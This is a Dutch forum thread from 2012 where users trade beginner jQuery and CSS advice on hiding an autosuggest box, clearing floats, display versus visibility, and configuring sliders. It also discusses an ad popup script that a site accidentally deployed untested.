Ik heb de oplossing die Merkie heeft gevonden gebruikt. Bedankt voor het meedenken!

[..]

Dit is dus wat ik zocht. :) Ik heb er dit van gemaakt:
[ code verwijderd ]

Zo zou ik dat niet doen. Verdiep je een klein beetje in hoe jQuery werkt ;).Als je toch al jQuery gebruikt kan je beter $('#autosuggestcontainer').hide(); doen.
1
2
3
4
5
6
7
$(document).ready(function() {
    $("body").click(function(e) {
        if (e.target.id != 'autosuggestcontainer' || $(e.target).parents('#autosuggestcontainer').size()) { 
            $('#autosuggestcontainer').hide();
        }
    });
});
Dit lijkt me beter. Als je toch bezig bent om javascript / jQuery te leren, doe het dan in 1x goed :P.
pascal08zondag 18 november 2012 @ 18:56
quote:
0s.gif Op zondag 18 november 2012 18:44 schreef Merkie het volgende:

[..]

Zo zou ik dat niet doen. Verdiep je een klein beetje in hoe jQuery werkt ;).Als je toch al jQuery gebruikt kan je beter $('#autosuggestcontainer').hide(); doen.
[ code verwijderd ]

Dit lijkt me beter. Als je toch bezig bent om javascript / jQuery te leren, doe het dan in 1x goed :P.
Wat is precies het verschil? :P

Deze werkt niet, trouwens. "e.target.id" is op sommige plekken buiten #container ook ongelijk aan 'autosuggestcontainer', dus hij doet ook .hide() wanneer het niet moet.

Zo doet 'ie het wel weer. Wat vind je hiervan? O-)

1
2
3
4
5
6
7
$(document).ready(function() {
    $("body").click(function(e) {
        if (e.target.id != 'autosuggestcontainer' && $(e.target).parents("#autosuggestcontainer").size() !== 1) { 
            document.getElementById('autosuggestcontainer').style.visibility = 'hidden';
        }
    });
});


[ Bericht 7% gewijzigd door pascal08 op 18-11-2012 19:12:14 ]
Merkiezondag 18 november 2012 @ 19:22
document.getElementById('autosuggestcontainer').style.visibility = 'hidden';

Doe gewoon "$('#autosuggestcontainer').hide();", veel sneller :P.
Tijnzondag 18 november 2012 @ 19:29
quote:
0s.gif Op zondag 18 november 2012 18:56 schreef pascal08 het volgende:

[..]

Wat is precies het verschil? :P

Deze werkt niet, trouwens. "e.target.id" is op sommige plekken buiten #container ook ongelijk aan 'autosuggestcontainer', dus hij doet ook .hide() wanneer het niet moet.

Zo doet 'ie het wel weer. Wat vind je hiervan? O-)
[ code verwijderd ]

Waarom zou je native DOM-functies gebruiken als je toch jQuery al include?
pascal08zondag 18 november 2012 @ 19:34
quote:
0s.gif Op zondag 18 november 2012 19:22 schreef Merkie het volgende:
document.getElementById('autosuggestcontainer').style.visibility = 'hidden';

Doe gewoon "$('#autosuggestcontainer').hide();", veel sneller :P.
Dat kan wel, maar dan moet ik denk ik ook ergens in m'n code iets van "$('#autosuggestcontainer').show();" hebben, anders blijft 'ie in hide-toestand bij de eerste klik buiten de div.

[ Bericht 0% gewijzigd door pascal08 op 18-11-2012 19:39:20 ]
pascal08zondag 18 november 2012 @ 19:35
quote:
5s.gif Op zondag 18 november 2012 19:29 schreef Tijn het volgende:

[..]

Waarom zou je native DOM-functies gebruiken als je toch jQuery al include?
Ik heb me nog helemaal niet verdiept in javascript en jQuery. :P Ik zou het eigenlijk wel moeten doen, maar het leren van PHP heeft me ook enkele dagen gekost en ik wil nu zo langzamerhand beginnen met iets op te zetten. :)
Tijnzondag 18 november 2012 @ 19:41
Er zijn teveel mensen die maar wat aanklooien met Javascript. Als je echt wilt weten hoe het zit, zou ik als ik jou was beginnen met de videolessen van Douglas Crockford: http://yuiblog.com/crockford/
Merkiezondag 18 november 2012 @ 19:54
quote:
0s.gif Op zondag 18 november 2012 19:34 schreef pascal08 het volgende:

[..]

Dat kan wel, maar dan moet ik denk ik ook ergens in m'n code iets van "$('#autosuggestcontainer').show();" hebben, anders blijft 'ie in hide-toestand bij de eerste klik buiten de div.
Hoe maak je nu "visibility:hidden" ongedaan dan?

Anders kan je altijd nog $('#element').css('visibility','hidden'); doen.
pascal08zondag 18 november 2012 @ 20:27
quote:
14s.gif Op zondag 18 november 2012 19:41 schreef Tijn het volgende:
Er zijn teveel mensen die maar wat aanklooien met Javascript. Als je echt wilt weten hoe het zit, zou ik als ik jou was beginnen met de videolessen van Douglas Crockford: http://yuiblog.com/crockford/
Ahh, nice! Dankzij hele goede video's over PHP, heb ik PHP ook vrij snel geleerd. Ik zal binnenkort eens kijken. Bedankt. _O_
pascal08zondag 18 november 2012 @ 20:29
quote:
0s.gif Op zondag 18 november 2012 19:54 schreef Merkie het volgende:

[..]

Hoe maak je nu "visibility:hidden" ongedaan dan?

Anders kan je altijd nog $('#element').css('visibility','hidden'); doen.
"visibility:hidden" is standaard bij het laden van de pagina. Als ik iets typ in het zoekveld, dan zorgt deze regel in m'n code ervoor dat er een lijst te voorschijn komt met resultaten:

1document.getElementById("autosuggestcontainer").style.visibility="visible";

Het zal inderdaad verre van optimaal zijn, maar het werkt. :)
#ANONIEMzondag 18 november 2012 @ 20:31
quote:
0s.gif Op zondag 18 november 2012 20:27 schreef pascal08 het volgende:

[..]

Ahh, nice! Dankzij hele goede video's over PHP, heb ik PHP ook vrij snel geleerd. Ik zal binnenkort eens kijken. Bedankt. _O_
Stap 1 is iig, stop met klooien, breng structuur aan.
Merkiezondag 18 november 2012 @ 20:44
quote:
0s.gif Op zondag 18 november 2012 20:29 schreef pascal08 het volgende:

[..]

"visibility:hidden" is standaard bij het laden van de pagina. Als ik iets typ in het zoekveld, dan zorgt deze regel in m'n code ervoor dat er een lijst te voorschijn komt met resultaten:
[ code verwijderd ]

Het zal inderdaad verre van optimaal zijn, maar het werkt. :)
Dan veranderd je die regel toch in $('#element').show();?
pascal08maandag 19 november 2012 @ 23:13
quote:
0s.gif Op zondag 18 november 2012 20:44 schreef Merkie het volgende:

[..]

Dan veranderd je die regel toch in $('#element').show();?
Ahh, gelukt! :D

1
2
3
4
5
6
7
8
9
10
11
12
13
$(document).ready(function() {
    $('.search-query').keyup(function() {
        var search_term = $(this).attr('value');
        if(!search_term) {
            $('.autosuggestlist').hide();
        } else {
            $('.autosuggestlist').show();
            $.post('/web_template/main/search_navbar', {search_term:search_term}, function(data) {
                $('.result-navbar').html(data);
            });
        }
    });
});

En:

1
2
3
4
5
6
7
$(document).ready(function() {
    $("body").click(function(e) {
        if (e.target.id !== 'autosuggestcontainer' && $(e.target).parents("#autosuggestcontainer").size() !== 1) { 
            $('.autosuggestlist').hide();
        }
    });
});

Nu beter?
Merkiemaandag 19 november 2012 @ 23:46
Ziet er al een stuk beter uit. Onder water doen .show() en .hide() de "display: none" CSS-property trouwens aan en uit zetten, is wel handig om te weten. Display:none is imho beter dan visibility:hidden, omdat het element bij deze laatste optie nog steeds ruimte inneemt, maar het element zelf onzichtbaar is. Met display:none wordt het element meer genegeerd.
pascal08dinsdag 20 november 2012 @ 00:30
quote:
1s.gif Op maandag 19 november 2012 23:46 schreef Merkie het volgende:
Ziet er al een stuk beter uit. Onder water doen .show() en .hide() de "display: none" CSS-property trouwens aan en uit zetten, is wel handig om te weten. Display:none is imho beter dan visibility:hidden, omdat het element bij deze laatste optie nog steeds ruimte inneemt, maar het element zelf onzichtbaar is. Met display:none wordt het element meer genegeerd.
Dat zag ik ook met Chrome: element inspecteren. Bedankt voor jullie tip. ^O^
n8ndinsdag 20 november 2012 @ 01:30
quote:
0s.gif Op zondag 18 november 2012 20:27 schreef pascal08 het volgende:

[..]

Ahh, nice! Dankzij hele goede video's over PHP, heb ik PHP ook vrij snel geleerd. Ik zal binnenkort eens kijken. Bedankt. _O_
en waar stonden die video's dan?
Nemephisdinsdag 20 november 2012 @ 01:59
quote:
7s.gif Op dinsdag 20 november 2012 01:30 schreef n8n het volgende:

[..]

en waar stonden die video's dan?
http://yuiblog.com/crockford/
pascal08dinsdag 20 november 2012 @ 02:04
quote:
7s.gif Op dinsdag 20 november 2012 01:30 schreef n8n het volgende:

[..]

en waar stonden die video's dan?
Youtube, phpacademy. :)
n8ndinsdag 20 november 2012 @ 02:07
quote:
dank maar ik doelde op die over php, had deze al gebookmarked

quote:
0s.gif Op dinsdag 20 november 2012 02:04 schreef pascal08 het volgende:

[..]

Youtube, phpacademy. :)
specifiek kanaal in YouTube? kom er vaak toch zut tegen wat tijdverspilling bleek
Nemephisdinsdag 20 november 2012 @ 02:09
Oh okee, dan was ik te snel. Ik weet zo ook geen vids, ik vind het prettiger om info uit boeken/van websites te halen.
n8ndinsdag 20 november 2012 @ 02:12
quote:
2s.gif Op dinsdag 20 november 2012 02:09 schreef Nemephis het volgende:
Oh okee, dan was ik te snel. Ik weet zo ook geen vids, ik vind het prettiger om info uit boeken/van websites te halen.
Ja ik op zich ook wel maar ik weet nooit wat 'best practice' boeken/bronnen zijn. Als ik terugdenk met welke bronnen ik html en css heb geleerd: :') :'( . Wil nu liever voorkomen dat ik het eerst vernaggeld leer waarna ik het mezelf opnieuw aan moet leren om geen bagger te produceren.

anyway, eerst slapen anders komt er helemaal niks van
Nemephisdinsdag 20 november 2012 @ 02:14
Qua PHP haal ik hier ontzettend veel vandaan: good old PHP.net

welterusten
BBQSausagedinsdag 20 november 2012 @ 02:24
quote:
2s.gif Op dinsdag 20 november 2012 02:14 schreef Nemephis het volgende:
Qua PHP haal ik hier ontzettend veel vandaan: good old PHP.net

welterusten
Daar bestaat dit topic ook voor;
DIG / [PHP/(My)SQL] voor dummies #105 Waar veiligheid > alles
Catch22-dinsdag 20 november 2012 @ 09:28
quote:
1s.gif Op maandag 19 november 2012 23:46 schreef Merkie het volgende:
Ziet er al een stuk beter uit. Onder water doen .show() en .hide() de "display: none" CSS-property trouwens aan en uit zetten, is wel handig om te weten. Display:none is imho beter dan visibility:hidden, omdat het element bij deze laatste optie nog steeds ruimte inneemt, maar het element zelf onzichtbaar is. Met display:none wordt het element meer genegeerd.
meer genegeerd? :P

Het zijn verschillende properties met aparte functies.
Tijndinsdag 20 november 2012 @ 11:54
quote:
1s.gif Op maandag 19 november 2012 23:46 schreef Merkie het volgende:

Display:none is imho beter dan visibility:hidden
Het is geen kwestie van beter of slechter, ze zijn gewoon voor verschillende dingen bedoeld. Soms is het juist wenselijk dat een element wel in de flow opgenomen blijft, maar toch niet zichtbaar is. Dan is de visibility-property precies wat je moet hebben.
#ANONIEMdinsdag 20 november 2012 @ 13:33
Nog een leuke voor iedereen hier:

Ze hebben op de FP dit neergezet vandaag:

1
2
3
4
5
6
$(document).ready(function(){
 $('body').click(function (event){
 window.open('http://ib.adnxs.com/clktrb?id=12742', 'hi', 'width=1000,height=800,scrollbars=yes');
 event.preventDefault();
});
});

En toen brak de pleuris uit.
KomtTijd...dinsdag 20 november 2012 @ 13:35
Verrassend.
#ANONIEMdinsdag 20 november 2012 @ 13:39
quote:
10s.gif Op dinsdag 20 november 2012 13:35 schreef KomtTijd... het volgende:
Verrassend.
Heb nog geen reden gehoord waarom dit op Productie zo terecht is gekomen :D Denk ook niet dat ik dat te horen krijg.
KomtTijd...dinsdag 20 november 2012 @ 13:41
Het 'ongelukje' zal ongetwijfeld een hoop geld opgeleverd hebben
#ANONIEMdinsdag 20 november 2012 @ 13:43
quote:
14s.gif Op dinsdag 20 november 2012 13:41 schreef KomtTijd... het volgende:
Het 'ongelukje' zal ongetwijfeld een hoop geld opgeleverd hebben
Danny kan weer op vakantie.
#ANONIEMdinsdag 20 november 2012 @ 13:51
Ah, ja, dat verklaart alles. Ze laten derde partijen script code aanleveren die ze niet checken voordat ze het live zetten.
Catch22-dinsdag 20 november 2012 @ 13:52
ze checken niets voor ze het live zetten geloof.
KomtTijd...dinsdag 20 november 2012 @ 14:11
Nou zie ik ook weleens iets over het hoofd bij het testen in een dev-omgeving. Maar dit? :')_ dat is gewoon nevernooit getest geweest inderdaad.
#ANONIEMdinsdag 20 november 2012 @ 14:16
quote:
10s.gif Op dinsdag 20 november 2012 14:11 schreef KomtTijd... het volgende:
Nou zie ik ook weleens iets over het hoofd bij het testen in een dev-omgeving. Maar dit? :')_ dat is gewoon nevernooit getest geweest inderdaad.
Mooiste is nog dat ze dus proberen te verbloemen dat het proces eromheen gewoonweg niet bestaand is. Of heel erg kut. Nee, 'we kunnen niet meekijken achter de schermen dus je weet niet hoe het is gegaan'.

Ze vergeten dat we ook wel door naar de code te kijken kunnen zien dat het ronduit kut is gesteld met het proces.
Dannydinsdag 20 november 2012 @ 14:17
quote:
9s.gif Op dinsdag 20 november 2012 13:51 schreef Scorpie het volgende:
Ah, ja, dat verklaart alles. Ze laten derde partijen script code aanleveren die ze niet checken voordat ze het live zetten.
kap toch met dat achterlijke stemmingmaken en doen alsof je aan de hand van code kunt zien wat het proces erachter is of is geweest.
Webads besloot een campagne te verkopen en ons op te zadelen met het ontwerp ervan en een aanlevertermijn van nagenoeg niets. Moet allemaal snel, snel, snel en dan kan er weleens een foutje worden gemaakt.
Is inderdaad niet getest. Was geen tijd voor, waarvoor excuses. Het werkt nu zoals zou moeten.
#ANONIEMdinsdag 20 november 2012 @ 14:18
quote:
0s.gif Op dinsdag 20 november 2012 14:17 schreef Danny het volgende:

[..]

kap toch met dat achterlijke stemmingmaken en doen alsof je aan de hand van code kunt zien wat het proces erachter is of is geweest.
Webads besloot een campagne te verkopen en ons op te zadelen met het ontwerp ervan en een aanlevertermijn van nagenoeg niets. Moet allemaal snel, snel, snel en dan kan er weleens een foutje worden gemaakt.
Is inderdaad niet getest. Was geen tijd voor, waarvoor excuses. Het werkt nu zoals zou moeten.
Kijk, dit vind ik dan alweer twintig keer betere uitleg dan in het FB topic. Dank je wel voor je antwoord, en ik snap dat het onder hoge druk gegaan is.
KomtTijd...dinsdag 20 november 2012 @ 16:13
Klopt het dat webkit een element 0px breed maakt als je de overflow aanpast?

-edit- er zitten alleen maar floated elementen in, normaal zou je overflow gebruiken om het element zijn zichtbare hoogte te geven. Dat lukt, alleen ten koste van de zichtbare breedte...

[ Bericht 56% gewijzigd door KomtTijd... op 20-11-2012 16:19:11 ]
Dannydinsdag 20 november 2012 @ 17:22
quote:
5s.gif Op dinsdag 20 november 2012 16:13 schreef KomtTijd... het volgende:
Klopt het dat webkit een element 0px breed maakt als je de overflow aanpast?

-edit- er zitten alleen maar floated elementen in, normaal zou je overflow gebruiken om het element zijn zichtbare hoogte te geven. Dat lukt, alleen ten koste van de zichtbare breedte...
als je de overflow waarin aanpast?
als je floated elementen in een element hebt heeft het parent element alleen zijn native hoogte (hoogte + padding + border) tenzij je box-sizing: border-box gebruikt in plaats van het default content-box.
Je kunt dmv een clear:both onder de gefloate elementen (<div style="clear:both"></div>) het parent element meetrekken in de hoogte.
TwyLightdinsdag 20 november 2012 @ 17:24
Of gewoon een img met een afbeelding van chuck norris

chuck-norris.jpg
KomtTijd...dinsdag 20 november 2012 @ 17:26
quote:
0s.gif Op dinsdag 20 november 2012 17:22 schreef Danny het volgende:

[..]

als je de overflow waarin aanpast?

Anything, behalve visible (default).
Overflow specificeren op iets non-default heeft ook als resultaat dat het element weer om gefloate children heen wrapt, maar bij Webkit werkt dat nogal apart blijkbaar. Het element waar ik het over had verdween ineens rechts uit beeld omdat het vrolijk naast een eerder element was gaan staan, terwijl daar helemaal geen ruimte voor was. (conclusie: breedte = 0)
KomtTijd...dinsdag 20 november 2012 @ 17:26
quote:
14s.gif Op dinsdag 20 november 2012 17:24 schreef TwyLight het volgende:
Of gewoon een img met een afbeelding van chuck norris

[ afbeelding ]
Divjes met clear:both toevoegen is wel de meest ultiem lelijke oplossing ja :')

-edit-
overigens ging het daar nieteens om bij mij, maar een collega wou overflow:auto gebruiken en dat verneukte het eea in chrome en safari.
Dannydinsdag 20 november 2012 @ 17:27
quote:
14s.gif Op dinsdag 20 november 2012 17:26 schreef KomtTijd... het volgende:

[..]

Divjes met clear:both toevoegen is wel de meest ultiem lelijke oplossing ja :')
Je kunt ook met een .clear class werken op je floating elements:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.clear{
    zoom:1;
}
.clear:before{
    display:table;
    content:"";
}
.clear:after{
    clear:both;
    content:".";
    display:block;
    font-size:0;
    height:0;
    visibility:hidden;
}
KomtTijd...dinsdag 20 november 2012 @ 17:30
quote:
0s.gif Op dinsdag 20 november 2012 17:27 schreef Danny het volgende:

[..]

Je kunt ook met een .clear class werken op je floating elements:
[ code verwijderd ]

...nog steeds way lelijker dan gewoon overflow:hidden gebruiken als het een klassiek "mijn wrapper schaalt niet mee"-probleem betref.t
Dannydinsdag 20 november 2012 @ 17:30
quote:
14s.gif Op dinsdag 20 november 2012 17:26 schreef KomtTijd... het volgende:

-edit-
overigens ging het daar nieteens om bij mij, maar een collega wou overflow:auto gebruiken en dat verneukte het eea in chrome en safari.
ah ok. zonder een voorbeeldje kan ik er niet zoveel mee :)
KomtTijd...dinsdag 20 november 2012 @ 17:31
het probleem is wel opgelost, ik vroeg me alleen af of mensen hier vaker last van hebben. Het lijkt me haast een bug in Webkit, dus vandaar.
Merkiedinsdag 20 november 2012 @ 19:40
quote:
2s.gif Op dinsdag 20 november 2012 11:54 schreef Tijn het volgende:

[..]

Het is geen kwestie van beter of slechter, ze zijn gewoon voor verschillende dingen bedoeld. Soms is het juist wenselijk dat een element wel in de flow opgenomen blijft, maar toch niet zichtbaar is. Dan is de visibility-property precies wat je moet hebben.
Dat snap ik, maar in dit geval lijkt het me niet belangrijk dat hij in de flow wordt opgenomen. Een ieder is voor zich in staat om te beoordelen wat beter of slechter is, maar "display: none" is wel wat meer "best practice" dan "visibility: hidden".
quote:
7s.gif Op dinsdag 20 november 2012 13:33 schreef Scorpie het volgende:
Nog een leuke voor iedereen hier:

Ze hebben op de FP dit neergezet vandaag:
[ code verwijderd ]

En toen brak de pleuris uit.
Lol.
quote:
0s.gif Op dinsdag 20 november 2012 14:17 schreef Danny het volgende:

[..]

kap toch met dat achterlijke stemmingmaken en doen alsof je aan de hand van code kunt zien wat het proces erachter is of is geweest.
Webads besloot een campagne te verkopen en ons op te zadelen met het ontwerp ervan en een aanlevertermijn van nagenoeg niets. Moet allemaal snel, snel, snel en dan kan er weleens een foutje worden gemaakt.
Is inderdaad niet getest. Was geen tijd voor, waarvoor excuses. Het werkt nu zoals zou moeten.
Blijkt meer weer dat zelfs onder de allerhoogste druk je maar beter wel kunt testen :).
Dannydinsdag 20 november 2012 @ 20:21
quote:
0s.gif Op dinsdag 20 november 2012 19:40 schreef Merkie het volgende:

Blijkt meer weer dat zelfs onder de allerhoogste druk je maar beter wel kunt testen :).
Niemand ontkent dat je beter kunt testen. In dit geval was dat niet mogelijk.
Dannydinsdag 20 november 2012 @ 20:22
quote:
0s.gif Op dinsdag 20 november 2012 19:40 schreef Merkie het volgende:

Dat snap ik, maar in dit geval lijkt het me niet belangrijk dat hij in de flow wordt opgenomen. Een ieder is voor zich in staat om te beoordelen wat beter of slechter is, maar "display: none" is wel wat meer "best practice" dan "visibility: hidden".
Maar lang niet altijd wenselijk:
http://css-tricks.com/pla(...)splay-none-but-dont/
PimDdinsdag 20 november 2012 @ 20:41
"Display:none;" best practice :D :D :D :D
Dannydinsdag 20 november 2012 @ 20:53
quote:
0s.gif Op dinsdag 20 november 2012 20:41 schreef PimD het volgende:
"Display:none;" best practice :D :D :D :D
toch kan het handig zijn. in de nieuwe fp heb ik geëxperimenteerd met weergavesnelheid. Hierbij bleek een winst van 40% mogelijk door een display:none op de body te doen en deze pas na opbouw van de DOM op te heffen. Laadtijd van de index ging van 920ms naar ongeveer 500ms. Dat is op onze beta-server die een tcp response van ruim 400ms heeft tov ~100ms voor de live-server. De index zou dus uiteindelijk in ongeveer 0.2s opgebouwd en weergegeven kunnen worden tov 0,6 a 0,7 sec als het opbouwen van de weergave gebeurt terwijl de body wordt weergegeven.
KomtTijd...dinsdag 20 november 2012 @ 20:56
quote:
0s.gif Op dinsdag 20 november 2012 20:53 schreef Danny het volgende:

[..]

toch kan het handig zijn. in de nieuwe fp heb ik geëxperimenteerd met weergavesnelheid. Hierbij bleek een winst van 40% mogelijk door een display:none op de body te doen en deze pas na opbouw van de DOM op te heffen. Laadtijd van de index ging van 920ms naar ongeveer 500ms. Dat is op onze beta-server die een tcp response van ruim 400ms heeft tov ~100ms voor de live-server. De index zou dus uiteindelijk in ongeveer 0.2s opgebouwd en weergegeven kunnen worden tov 0,6 a 0,7 sec als het opbouwen van de weergave gebeurt terwijl de body wordt weergegeven.
Dan kijk je dus alleen naar de eindtijd, en verneuk je de progressive rendering van de browser waardoor de user-experience uiteindelijk alleen maar trager is.
Dannydinsdag 20 november 2012 @ 21:01
quote:
14s.gif Op dinsdag 20 november 2012 20:56 schreef KomtTijd... het volgende:

Dan kijk je dus alleen naar de eindtijd, en verneuk je de progressive rendering van de browser waardoor de user-experience uiteindelijk alleen maar trager is.
de rendering begint met weergave aan ook pas na ongeveer 0.5sec. Verschil is dat nu meteen de hele site voor je neus staat. Het valt dus met de user-experience wel mee. Ik maak het optioneel trouwens, dus als je liever de site progressief weergegeven wilt hebben dan kan dat. Standaard zal de fp waarschijnlijk in de header een document.write of geïnjecteerde style krijgen a la body{display:none;} of body{visibility:hidden;}, welke bij document.ready() weer uit de dom wordt verwijderd.
Overigens worden veel dingen in de nieuwe fp asynchroon geladen, dus ook als de pagina wordt weergegeven is deze nog niet klaar met weergave (wel voor zaken als scrolling e.d.). Er blijft dus wel een gevoel van progressief laden.
Ik steek erg veel tijd in optimalisatie voor de nieuwe fp om de boel zo snel mogelijk te maken. Zowel in benchmarks als qua user-experience.
KomtTijd...dinsdag 20 november 2012 @ 21:02
Ik zou het iig goed testen, ook op tragere systemen en vooral op tragere internetverbindingen.
pascal08dinsdag 20 november 2012 @ 22:32
quote:
7s.gif Op dinsdag 20 november 2012 02:07 schreef n8n het volgende:

[..]

dank maar ik doelde op die over php, had deze al gebookmarked

[..]

specifiek kanaal in YouTube? kom er vaak toch zut tegen wat tijdverspilling bleek
Ja, is een kanaal op Youtube van een groepje mensen die zeer goed kunnen uitleggen naar mijn mening. Ze komen in ieder geval vrij deskundig over en leggen dingen op eenvoudige wijze uit met veel tussenstappen.

Hier is de link: http://www.youtube.com/user/phpacademy
Catch22-woensdag 21 november 2012 @ 10:43
quote:
0s.gif Op dinsdag 20 november 2012 17:30 schreef Danny het volgende:

[..]

ah ok. zonder een voorbeeldje kan ik er niet zoveel mee :)
voorbeelden zijn in dit topic nogal lastig volgens mij :P
KomtTijd...woensdag 21 november 2012 @ 11:08
quote:
11s.gif Op woensdag 21 november 2012 10:43 schreef Catch22- het volgende:

[..]

voorbeelden zijn in dit topic nogal lastig volgens mij :P
:')_ 't is goed met je, als ik de was en de strijk gedaan heb en geen zin heb om ook nog te stofzuigen, zal ik kijken of ik zin heb om misschien een proof-of-concept te schrijven. Tot die tijd kan er wat mij betreft gewoon normaal gereageerd worden op een vraag naar ervaringen.
Catch22-woensdag 21 november 2012 @ 11:18
quote:
14s.gif Op woensdag 21 november 2012 11:08 schreef KomtTijd... het volgende:

[..]

:')_ 't is goed met je, als ik de was en de strijk gedaan heb en geen zin heb om ook nog te stofzuigen, zal ik kijken of ik zin heb om misschien een proof-of-concept te schrijven. Tot die tijd kan er wat mij betreft gewoon normaal gereageerd worden op een vraag naar ervaringen.
Oke.

ik wil iets verbergen maar er staat iets omheen hoe kan ik dat fiksen? ik heb al positionabsolute geprobeerd ?
Dannywoensdag 21 november 2012 @ 11:30
quote:
11s.gif Op woensdag 21 november 2012 11:18 schreef Catch22- het volgende:

[..]

Oke.

ik wil iets verbergen maar er staat iets omheen hoe kan ik dat fiksen? ik heb al positionabsolute geprobeerd ?
visibility:hidden;
Catch22-woensdag 21 november 2012 @ 11:36
dan neemt hij nog de ruimte in

het is een tr
Merkiewoensdag 21 november 2012 @ 12:01
Display: none?
n8nwoensdag 21 november 2012 @ 16:58
quote:
0s.gif Op dinsdag 20 november 2012 22:32 schreef pascal08 het volgende:

[..]

Ja, is een kanaal op Youtube van een groepje mensen die zeer goed kunnen uitleggen naar mijn mening. Ze komen in ieder geval vrij deskundig over en leggen dingen op eenvoudige wijze uit met veel tussenstappen.

Hier is de link: http://www.youtube.com/user/phpacademy
bedankt
pascal08donderdag 22 november 2012 @ 21:10
http://jsfiddle.net/F7qjS/

Hoe krijg ik een alert bij het klikken op de slider? Nu krijg ik alleen een alert als ik erboven klik. Het is de bedoeling dat er een variabelen wordt doorgegeven bij het klikken (manipuleren) van de slider.

Laat maar, ik heb weer niet verder gekeken dan m'n neus lang is. :X
Alfjevrijdag 23 november 2012 @ 16:54
Stel ik heb een select en daar wil ik een onChange event aanhangen. Dat kan door onChange="javascriptcode" toe te voegen, zal over het algemeen een call naar een javascript functie zijn. Of je kan het via JQuery doen. Heeft het een de voorkeur boven het ander en waarom?
Tijnvrijdag 23 november 2012 @ 16:56
Het is beter om geen javascript in je HTML te zetten.
Alfjevrijdag 23 november 2012 @ 16:59
Dus de oplossing via JQuery, is dat beter omdat je het dan netjes gescheiden houdt, of zijn er nog andere redenen?
KomtTijd...vrijdag 23 november 2012 @ 17:05
quote:
0s.gif Op vrijdag 23 november 2012 16:59 schreef Alfje het volgende:
Dus de oplossing via JQuery, is dat beter omdat je het dan netjes gescheiden houdt, of zijn er nog andere redenen?
Dat, en je houdt je HTML compacter. (ergo: laadt sneller, betere pagerank)

Overigens is dat niet perse een voordeel van jQuery, je kunt ook zonder jQuery gewoon vanuit je script events binden aan elementen. Jquery heeft die methode alleen populair gemaakt door het zo ongelooflijk makkelijk te maken.
Alfjevrijdag 23 november 2012 @ 17:11
quote:
14s.gif Op vrijdag 23 november 2012 17:05 schreef KomtTijd... het volgende:

[..]

Dat, en je houdt je HTML compacter. (ergo: laadt sneller, betere pagerank)

Overigens is dat niet perse een voordeel van jQuery, je kunt ook zonder jQuery gewoon vanuit je script events binden aan elementen. Jquery heeft die methode alleen populair gemaakt door het zo ongelooflijk makkelijk te maken.
Dank, ik wist dat het ook "gewoon" met javaScript kan, maar inderdaad de JQuery manier is eenvoudig overzichtelijk en bekend.
pascal08vrijdag 23 november 2012 @ 19:17
quote:
2s.gif Op vrijdag 23 november 2012 16:56 schreef Tijn het volgende:
Het is beter om geen javascript in je HTML te zetten.
Dit is een reactie op Alfje toch? Met dit is toch niets mis?

1
2
3
4
5
6
7
8
<html>
  <head></head>
  <body>
  <script> 
  // javascript 
  </script>
  </body>
</html>
pascal08vrijdag 23 november 2012 @ 19:20
Weet iemand een goede oplossing om een script voor meerdere sliders op 1 pagina zo kort mogelijk te maken?

SPOILER
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<!doctype html>
 
<html lang="en">
<head>
    <meta charset="utf-8" />
    <title>jQuery UI Slider - Range slider</title>
    <link rel="stylesheet" href="http://code.jquery.com/ui/1.9.1/themes/base/jquery-ui.css" />
    <script src="http://code.jquery.com/jquery-1.8.2.js"></script>
    <script src="http://code.jquery.com/ui/1.9.1/jquery-ui.js"></script>
    <link rel="stylesheet" href="/resources/demos/style.css" />
    <script>
    $(function() {
        $( "#slider-range" ).slider({
            range: true,
            min: 0,
            max: 500,
            values: [ 75, 300 ],
            slide: function( event, ui ) {
                $( "#amount" ).val( "$" + ui.values[ 0 ] + " - $" + ui.values[ 1 ] );
            }
        });
        $( "#amount" ).val( "$" + $( "#slider-range" ).slider( "values", 0 ) +
            " - $" + $( "#slider-range" ).slider( "values", 1 ) );
    });
    </script>
</head>
<body>
 
<p>
    <label for="amount">Price range:</label>
    <input type="text" id="amount" style="border: 0; color: #f6931f; font-weight: bold;" />
</p>
 
<div id="slider-range"></div>
 
 
</body>
</html>
Ik zal er even een JSFiddle van maken. :)

[ Bericht 1% gewijzigd door pascal08 op 23-11-2012 19:26:17 ]
KomtTijd...vrijdag 23 november 2012 @ 19:23
quote:
0s.gif Op vrijdag 23 november 2012 19:17 schreef pascal08 het volgende:

[..]

Dit is een reactie op Alfje toch? Met dit is toch niets mis?
[ code verwijderd ]

Beter hou je je javascript gewoon in een los scriptbestand.
pascal08vrijdag 23 november 2012 @ 19:23
quote:
14s.gif Op vrijdag 23 november 2012 19:23 schreef KomtTijd... het volgende:

[..]

Beter hou je je javascript gewoon in een los scriptbestand.
Ja, dat heb ik ook. ;)
1<script src=""></script>

Lekker clean. :)
#ANONIEMvrijdag 23 november 2012 @ 19:26
Inline JavaScript brrrrr
KomtTijd...vrijdag 23 november 2012 @ 19:30
quote:
0s.gif Op vrijdag 23 november 2012 19:26 schreef Scorpie het volgende:
Inline JavaScript brrrrr
't is niet perse fout maar als je het nodig hebt is dat vaak wel een teken dat je iets verkeerd doet.
pascal08vrijdag 23 november 2012 @ 19:35
Meerdere sliders maken is dus niet het probleem; ik wil m'n JavaScript zo kort mogelijk maken. Ik heb al best een hoop geprobeerd en ik kwam aardig dichtbij door met classes te werken en in m'n JavaScript het ID dynamisch te maken, maar dan werden de minima en maxima gereset naar de waarden van een andere slider bij het schuiven van beide sliders.

http://jsfiddle.net/cJnUA/1/
Tijnvrijdag 23 november 2012 @ 19:41
quote:
14s.gif Op vrijdag 23 november 2012 19:30 schreef KomtTijd... het volgende:

[..]

't is niet perse fout maar als je het nodig hebt is dat vaak wel een teken dat je iets verkeerd doet.
Je hebt het nooit nodig, het is puur luiheid.
pascal08vrijdag 23 november 2012 @ 20:16
quote:
0s.gif Op vrijdag 23 november 2012 19:35 schreef pascal08 het volgende:
Meerdere sliders maken is dus niet het probleem; ik wil m'n JavaScript zo kort mogelijk maken. Ik heb al best een hoop geprobeerd en ik kwam aardig dichtbij door met classes te werken en in m'n JavaScript het ID dynamisch te maken, maar dan werden de minima en maxima gereset naar de waarden van een andere slider bij het schuiven van beide sliders.

http://jsfiddle.net/cJnUA/1/

Hoe krijg ik unieke variabelen voor elke slider? Nu wordt dus elke keer de waarde gereset naar de waarde van de andere slider:

http://jsfiddle.net/cJnUA/2/
-J-D-maandag 26 november 2012 @ 15:03
